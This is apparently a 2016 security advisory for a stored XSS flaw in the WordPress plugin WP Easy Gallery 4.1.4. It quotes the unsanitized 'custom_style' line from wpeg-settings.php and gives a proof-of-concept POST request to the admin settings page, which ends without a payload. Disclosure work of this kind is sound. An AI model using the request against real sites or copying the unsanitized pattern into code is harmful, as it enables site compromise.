#Product : WP Easy Gallery #Exploit Author : Rahul Pratap Singh #Version : 4.1.4 #Home page Link : https://wordpress.org/plugins/wp-easy-gallery #Website : 0x62626262.wordpress.com #Linkedin : https://in.linkedin.com/in/rahulpratapsingh94 #Date : 26/Jan/2016 XSS Vulnerability: ---------------------------------------- Description: ---------------------------------------- "custom_style" parameter is not sanitized that leads to Stored XSS. ---------------------------------------- Vulnerable Code: ---------------------------------------- File Name: wpeg-settings.php Found at line:12 $temp_defaults['custom_style'] = isset($_POST['custom_style']) ? $_POST['custom_style'] : ''; Found at line:103 ---------------------------------------- Exploit: ---------------------------------------- POST /wp-admin/admin.php?page=wpeg-settings wpeg_settings=3b59e6c6ef&_wp_http_referer=abc&display_mode=abc&num_columns=abc&show_gallery_name=abc&gallery_name_alignment=abc&use_default_style=abc&drop_shadow=abc&custom_style=